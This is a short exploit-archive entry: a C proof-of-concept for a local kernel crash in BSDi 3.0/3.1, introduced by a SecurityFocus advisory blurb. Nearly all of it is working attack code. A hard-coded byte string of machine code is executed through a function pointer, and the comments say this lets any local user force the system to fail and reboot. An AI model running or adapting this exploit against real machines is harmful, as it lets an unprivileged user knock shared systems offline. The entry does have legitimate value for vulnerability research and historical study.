/* source: https://www.securityfocus.com/bid/3220/info It has been reported that there is a locally exploitable vulnerability in BSDI. It is allegedly possible for a userland process to cause the kernel to halt. This may be due to a bad system call. */ /* (BSDi)*[v3.0/3.1] system failure, by v9[v9@realhalo.org]. this will result in the ability of any user to fail the system, and reboot it. this bug is similar to that of the "f00f" bug. results are similar, except this reboots the machine instead of having a freezing effect. tested, and built for: BSDi v3.0/3.1. (arch/non-specific to BSDi) */ char bsdi_killcode[] = "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b" "\xb0\x9a\x50\x89\xe7\xff\xd7"; int main() { void (*execcode)()=(void *)bsdi_killcode; printf("[ (BSDi)*[v3.0/3.1]: system failu" "re, by: v9[v9@realhalo.org]. ]\n"); printf("*** no output should be seen afte" "r this point.\n"); execcode(); printf("*** system failure failed.\n"); exit(0); }